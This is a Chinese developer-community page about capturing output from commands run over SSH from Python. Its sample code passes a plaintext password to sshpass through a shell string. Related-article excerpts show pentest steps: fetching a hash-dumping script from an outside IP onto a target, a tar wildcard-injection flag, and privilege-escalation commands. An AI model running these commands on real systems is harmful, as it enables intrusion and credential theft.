首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

尝试在SSH服务器上运行命令时无法从python脚本获取输出

在SSH服务器上运行命令时无法从Python脚本获取输出可能是由于以下原因导致的:

  1. 权限问题:请确保Python脚本在SSH服务器上具有足够的权限来执行命令和读取输出。可以通过在脚本中使用sudo或者在服务器上配置适当的权限来解决此问题。
  2. 网络连接问题:检查SSH服务器和Python脚本之间的网络连接是否正常。确保服务器可以通过SSH协议访问,并且网络连接没有被防火墙或其他安全机制阻止。
  3. 命令执行问题:确认Python脚本中执行命令的方式是否正确。可以使用subprocess模块来执行命令,并使用communicate()方法获取命令的输出。

以下是一个示例代码,展示了如何在Python脚本中通过SSH执行命令并获取输出:

代码语言:txt
复制
import subprocess

# SSH服务器的相关信息
ssh_host = 'your_ssh_host'
ssh_user = 'your_ssh_username'
ssh_password = 'your_ssh_password'

# 要执行的命令
command = 'your_command'

# 构建SSH命令
ssh_command = f'sshpass -p {ssh_password} ssh {ssh_user}@{ssh_host} "{command}"'

# 执行SSH命令并获取输出
process = subprocess.Popen(ssh_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()

# 输出命令的输出结果
print(output.decode('utf-8'))

请注意,上述示例中使用了subprocess模块来执行SSH命令,并使用communicate()方法获取命令的输出。在实际使用时,需要将your_ssh_hostyour_ssh_usernameyour_ssh_passwordyour_command替换为实际的值。

对于SSH服务器上无法获取输出的问题,还可以考虑以下解决方案:

  • 检查SSH服务器的日志,查看是否有相关的错误或警告信息。
  • 确保SSH服务器上的Python环境和依赖库已正确安装。
  • 尝试使用其他SSH客户端或工具来执行命令,以确定是否是Python脚本的问题。
  • 如果仍然无法解决问题,建议咨询相关的技术支持或社区,以获取更专业的帮助。

腾讯云相关产品推荐:

  • 云服务器(CVM):https://cloud.tencent.com/product/cvm
  • 云函数(SCF):https://cloud.tencent.com/product/scf
  • 云开发(TCB):https://cloud.tencent.com/product/tcb
  • 云数据库 MySQL 版(CMYSQL):https://cloud.tencent.com/product/cmysql
  • 云存储(COS):https://cloud.tencent.com/product/cos
  • 人工智能(AI):https://cloud.tencent.com/product/ai
  • 物联网(IoT):https://cloud.tencent.com/product/iot
  • 区块链(BCB):https://cloud.tencent.com/product/bcb
  • 元宇宙(Metaverse):https://cloud.tencent.com/product/metaverse
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Paramiko远程操作Linux服务器

本篇将介绍一个Python的第三方库Paramiko,使用Paramiko,我们可以Python脚本中进行SSH连接Linux服务器并远程执行Linux命令。...例如要想在Linux服务器上进行测试环境的部署,传统的做法是使用SSH工具(例如:Xshell、Xftp、FinalShell、secureCRT、PuTTY等)连接远程服务器,然后手动Linux服务器输入一条一条的命令...、stderr对象获取命令的报错信息,可以根据需要对输出进行处理和显示 stdin, stdout, stderr = client.exec_command('你要执行的命令') # 获取命令输出...使用cd命令进行目录切换不生效 当使用Paramiko库远程执行命令,cd命令无法直接切换目录,这是因为cd是一个shell内置命令无法直接通过Paramiko执行,此时可以通过执行命令添加额外的命令前缀来模拟...使用wget命令下载文件时文件为0KB 刚开始使用wget http://XXX/file.tar.gz下载文件发现下载下来的文件为0KB,原因是执行wget命令Python脚本挂起,解决方案就是

24820

Python远程登陆服务器的最佳实践

来源 | Python编程时光(ID: Cool-Python使用 Python 写一些脚本的时候,某些情况下,我们需要频繁登陆远程服务去执行一次命令,并返回一些结果。...使用 subprocess 若是使用 Python 来做这件事,通常我们会第一间,想到使用 os.popen,os.system,commands,subprocess 等一些命令执行库来间接获取...highlight=ssh)给的一些信息,写的一个demo。 尝试运行后,发现程序会一直在运行中,永远不会返回,不会退出,回调函数也永远不会进入。...(my_server.ls()) # 可在 sleep 期间,手动登陆服务器,使用 top ,查看当前有多少终端连接 time.sleep(5) # 再次执行这条命令,登陆终端数将 +1,执行完后...连接,执行两次命令,可实际,你可以远程机器,执行 top 命令看到已连接的终端的变化,会先 +1 再 -1,说明两次命令的执行是通过两次连接实现的。

2.9K20

干货 | Linux之渗透测试常用文件传输方法

2 内容速览 介绍 文件上传一般分为上传和下载,下面我所指的下载具体指的是攻击机(本地机器)向目标机(服务器)传输文件。 而上传则相反是目标中收集下载文件!...攻击机挂载文件 Python脚本挂载 # python2 python -m SimpleHTTPServer # python3适用的将当前目标挂载,不填写端口的话默认是到8000端口中 python3...httpd.service # 添加测试文件(我们上传给目标的文件就放到/var/www/html目录中即可) echo "测试" > /var/www/html/index.html # 如果测试文件添加后直接访问IP无法获取内容...curl 这个命令用来请求 Web 服务器命令行工具,但可以使用其-o或-O参数来进行文件下载。...目标地址 curl -o Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1 # 除此之外,如果我们目标成功上传了小马还能通过这种方式来控制小马执行命令

20510

教程 | 一步步从零开始:使用PyCharm和SSH搭建远程TensorFlow开发环境

然后将你的计算机联网,并通过终端(Terminal)输入 ifconfig 来获取 IP 地址,本文中,我假设我们的 IP 地址是 192.168.0.1,实际操作,你需要根据你自己的情况进行修改...这样你就能轻松地本地和远程项目之间切换了。 ? 一旦你保存并运行了一个文件后,这些部署设置将会无缝工作,它完成得非常快,你可能都无法察觉。...为其命名后选择该脚本运行: ? 现在像之前一样进入所需的环境变量。小技巧:你可以直接我们之前指定的控制台设置中直接复制它们,左下角使用 Ctrl+A 和复制/粘贴即可。...然后你可以输入 ls/ 来验证你确实在你的服务器执行该命令输出应该是这样的: ? 运行脚本 现在回到你的 test.py 脚本,然后选择顶部栏的 Run > Run…。...记住在一个分离开的终端中你需要至少一个开放的 SSH 连接,使用 DISPLAY 环境变量的正确值以使其工作。如果无效尝试重新启动你的 SSH 连接。 调试脚本 最后做一些调试。

4.1K60

我用STM32MP1做了个疫情监控平台1—交叉编译环境搭建

进行嵌入式开发,常常是PC(x86架构)使用交叉编译工具编译,编译出来的可执行文件开发板(ARM)平台下运行。...好了,程序运行没问题,就可以使用arm-gcc来编译这个程序,并生成可以arm开发板运行的可执行文件了。再使用交叉编译工具编译这个C程序,指定输出arm.o文件。...因为这个文件是运行在ARM架构的系统的,所以PC不能运行,下面我们把这个文件放到开发板上去运行。 4.开发板运行Hello World程序 怎么能在开发板运行这个程序呢?...scp命令要确保使用的用户具有可读取远程服务器相应文件的权限,否则scp命令无法起作用的。...ssh root@192.168.1.136 ? 6.注意 如果遇到无法正常安装程序,请尝试安装以下程序。

1.4K10

域渗透——多层内网环境渗透测试(三)

save quit ssh -i id_rsa root@192.168.52.10 写入成功即可直接ssh登录到服务器。...使用命令查看ARP缓存表 总结: 1、服务器角色:Nginx反代理服务器 2、内网地址:192.168.52.10 3、入口机 可出网 小结:下一步就是搭建一个隧道,其次针对我们配置文件得知的Nginx...脏牛提权 上传脏牛脚本尝试用脏牛提权 gcc -pthread dirty.c -o dirty -lcrypt 运行脏牛提权 ..../dirty 这个提权也是失败的 现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了 环境变量提权 回头看信息收集的文件的时候发现其中: 这里我们运行一下这个shell文件...现在用这个脚本+密码的情况下可以获取到域控机器的hash,那么打完置空之后,尝试不适用密码。来尝试一下是否能获取域控的所有用户的hash。

29310

如何在Ubuntu 18.04安装和配置Ansible

Ansible服务器,使用cat命令将非root用户的SSH公钥文件的内容打印到终端的输出: cat ~/.ssh/id_rsa.pub 将生成的输出复制到剪贴板,然后打开一个新终端并使用SSH连接到您的一个...然后运行exit命令以返回主机的非root用户: exit 最后,因为Ansible使用位于/usr/bin/python中的python解释器来运行其模块,所以您需要在主机上安装Python 2,以便...运行以下命令以更新主机的软件包索引并安装python软件包: sudo apt update sudo apt install python 在此之后,您可以再次运行exit命令以关闭与客户端的连接:...", "unreachable": true } Ansible服务器,我们使用的是一个名为sammy的用户。Ansible将尝试ssh sammy@server连接到每个主机。...这些基本是可以远程主机上运行命令。ping模块以多种方式运行,如Linux中的普通ping实用程序,但它会检查Ansible连接。

5.9K30

详解SSH 远程执行任务的方法

因为此时你应该是想要运行一个 shell 会话。 但是当你通过 ssh 远程主机上执行命令,并不会为这个远程会话分配 TTY。此时 ssh 会立即退出远程主机,所以需要交互的命令也随之结束。...执行本地的脚本 我们本地创建一个脚本文件 test.sh,内容为: ls pwd 然后运行下面的命令: $ ssh nick@xxx.xxx.xxx.xxx < test.sh ?...通过重定向 stdin,本地的脚本 test.sh 远程服务器被执行。...看来上面的方法都无法脚本传递参数。...执行远程服务器脚本 除了执行本地的脚本,还有一种情况是脚本文件存放在远程服务器,而我们需要远程的执行它! 此时远程服务器用户 nick 的家目录中有一个脚本 test.sh。

2.4K21

学习如何安装Ansible和运行Playbooks

如果是这样,请ansible本指南中使用前缀命令sudo。 安装Ansible 只需要在控制机器或运行命令的机器安装Ansible 。...注意如果您不想使用SSH密钥,可以添加--ask-pass交换机。 要在没有任何其他设置的情况下尝试Ansible命令,我们现在将添加一些额外的参数。...这是暂时的,只是告诉Ansible尝试没有库存文件的情况下直接连接到服务器,我们将在稍后了解。...一个playbook也可以一组机器运行一些命令,切换到另一组运行不同的命令,然后切换回原始或不同的一组机器。它是程序性的,任务按顺序从上到下运行。...要查看所有可用模块的列表,请运行: ansible-doc -l 您可能有兴趣首先学习的一些常见核心模块包括: command - 远程节点执行命令 script - 传输后远程节点运行本地脚本

4.8K10

Kali Linux 网络扫描秘籍 第四章 指纹识别(一)

这个秘籍展示了如何使用 Netcat 获取服务特征,以便识别和开放端口相关的服务。 准备 为了使用 Netcat 收集服务特征,客户端服务连接,你需要拥有运行开放信息的网络服务的远程系统。...这个秘籍展示饿了如何使用 Python 套接字来获取服务特征,以便识别目标系统和开放端口相关的服务。...连接后,recv函数可以用于套接字所连接的服务接收内容。假设有可用信息,它会打印它作为输出。这里,我们可以看到由运行在 Metasploitable2 服务器的 FTP 服务提供的特征。...比起指定需要尝试特征抓取的端口,Dmitry 可以自动化这个过程,通过仅仅在小型的预定义和常用端口集合中尝试特征抓取。来自运行在这些端口地址的特征之后会在脚本的终端输出中显示。...这个秘籍展示了如何使用 Amap 来获取服务特征,以便识别和目标系统的开放端口相关的服务。 准备 为了使用 Amap 收集服务特征,客户端服务连接,你需要拥有运行开放信息的网络服务的远程系统。

1.5K30

Linux应急响应之工具篇

当企业被攻击者入侵,系统被挂暗链、内容遭到恶意篡改,服务器出现异常链接、卡顿等情况,需要进行紧急处理,使系统最短时间内恢复正常。...由于应急处理往往时间紧,所以尝试将应急中常见处理方法整合到脚本中,可自动化实现部分应急工作。...应急脚本采用python2.0完成,由于所有需要执行的命令都是依靠ssh进行远程链接,所以在运行脚本之前,需要输入正确的主机ip地址、ssh远程连接端口、ssh远程登录账户、ssh远程登录密码。...脚本运行输出如下信息: ? 最终在当前目录下生成如下文件 ? 脚本运行完毕后,在当前目录下生成log.txt,记录脚本检查结果: ?...脚本整体的思路比较简单,就是远程登录到linux执行常见的应急命令脚本中的命令centos下都是可正常运行的,可以根据实际环境自行在对命令做调整。

2K51

Kali Linux Web渗透测试手册(第二版) - 7.4 - Linux的权限提升

关于权限提升的第一个配方中,我们将利用上一个配方,我们上传并执行反向shell到我们的攻击机器,并使用Kali Linux中包含的工具获取服务器的管理访问权限。...实战演练 建议前两个配方,即利用Shellshock执行命令以及使用Metasploit创建和捕获反向shell,开始之前完成,尽管可以远程服务器的任何有限shell获得相同的结果。...实验开始 我们受感染的服务器运行了一个meterpreter shell - 更具体地说,是具有IP 192.168.56.12的beebox。 让我们找到升级权限的方法开始: 1....我们将使用该文件使root用户启动执行命令。 我们将创建一个具有管理权限的用户,以便我们可以通过SSH连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。...分析了unix-privesc-check的结果后,我们决定修改在启动以高权限运行脚本,并向其添加两个命令。第一个是创建属于admin,adm和root组的用户,另一个是为这样的用户设置密码。

95810

数据科学家必知的21个命令

很多时候,我们需要的数据并不存储我们的本机上。所以首先,我们要知道如何链接到远程服务器并使用它。为此,使用SSH最为合适。...(SSH,即Secure Shell,是一个加密网络协议,它能让你在一个不安全的网络安全地远程登陆和使用其他网络服务) Ubuntu的终端你可以用以下几个命令之一来登陆远程服务器。...若没有,你可以终端尝试以下命令。...当你访问远程主机的这个端口,就会建立一个SSH隧道,并建立了通向这个主机端口的链接。 -N不执行远程脚本命令,只在前向端口使用。 -f 经过远程系统认证后立即进入后台模式。...查看磁盘空间 显示目前Linux系统的文件系统的磁盘使用情况 df -h 获取文件夹大小 du -sh dir_name/ 获取文件夹和子目录的大小 du -h dir_name/* 获取文件大小

54410

Kali Linux Web渗透测试手册(第二版) - 7.4 - Linux的权限提升

关于权限提升的第一个案例中,我们将利用上一节中的方法,我们上传反向shell到我们的攻击机器,并执行。然后使用Kali Linux中包含的工具获取服务器的管理权限。...实验开始 我们受感染的服务器运行了一个meterpreter shell - 更具体地说,是具有IP 192.168.56.12的beebox。 让我们找到升级权限的方法开始: 1....meterpretershell,我们可以使用upload命令将其上传到服务器。...我们将使用该文件使root用户启动执行命令。 我们将创建一个具有管理权限的用户,以便我们可以通过SSH连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。...尝试升级基于Unix的系统中的权限时要查找的其他常见方面如下: SUID位:当在程序或脚本的属性中设置此位,此类程序将在所有者用户的权限下执行,而不是执行它的用户的权限下执行。

1.1K20

一文吃透Linux提权

以下提到的技术可用于获取系统的“ root”访问权限。...在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者其中可能存在漏洞。...它与特定用户一起运行命令。因此,我们可以尝试滥用它来实现特权升级。 滥用cron的一个好方法是, 1.检查cron运行脚本的文件权限。...当特权用户或脚本具有潜在危险标志的命令中使用通配符,尤其是与外部命令执行相关的通配符,这是一个坏消息。在这些情况下,我们可能会使用它来升级特权。...现在让我们注入将运行我们的shell脚本的标志: touch — “-e sh shell.sh” 0x009 Linux提权-NFS权限弱 如果您在linu服务器具有低特权shell,并且发现服务器中具有

5.4K42

安服仔偷懒必备技能之自动化主机检查脚本

二、python实现 先确定下流程,大概的流程就是这四个: 连接服务器 上传脚本 执行脚本 回收数据 最重要的是先连接上去,不然想得再好都没用,连接的话我用是py的paramiko,功能挺强大的...表格里面去获取每一台主机的信息,而在paramiko的连接这块有几个坑,首先是连接上去,连接上去有很多种方式,首先分为两大类,一类是SSH,一类是FTP,然后每一类都有两种连接方式,一种是基于密码,一种是基于密钥...所以这里先获取下IP# stdout 为正确输出,stderr为错误输出,同时是有1个变量有值stdin, stdout, stderr = ssh.exec_command('ip a|grep inet...')(向右滑动,查看更多) 它就会先cd到tmp这个目录下面,然后执行ls命令,到这无法上传下载文件,无法跳转目录两个坑基本就填上了,这里贴下完整的数据,表格的格式是IP,端口,用户名,密码。...lftp -u ${user},${password} sftp://${ip}:${port} <<EOF#账号密码命令scp -P ${port} ${file} ${user}@${ip}:$

57630

Python 进行 SSH 操作,实现本地与服务器的链接,进行文件的上传和下载

我本地和服务器的连接一直使用的是 Xshell 5,而在与服务器进行文件操作的时候使用的是 Xshell 推荐安装的一个工具 Xftp 5,然而,昨天自己想着服务器下载备份好的的数据库文件到本地的时候发现这个文件传输工具居然过期不能用了...于是没办法(机智如我)只好用 Python 来实现 SSH 的连接,顺便服务器批量下载一些文件,实现自动化。...脚本思路 首先来介绍一下我这个简单的自动化脚本做的事情(由于想实现的事情比较单一且固定,所以直接写成了几个函数,写的比较随意): 首先创建一个配置文件,用来存放登录服务器的一些参数,例如服务器 host...连接服务区并执行shell命令返回输出结果 def ssh_test(host, port, username, password): ssh = paramiko.SSHClient()...()) 然后传入相关参数,尝试连接到远程服务器: try: ssh.connect(hostname=host, port=port, username=username, password=password

1.3K30
领券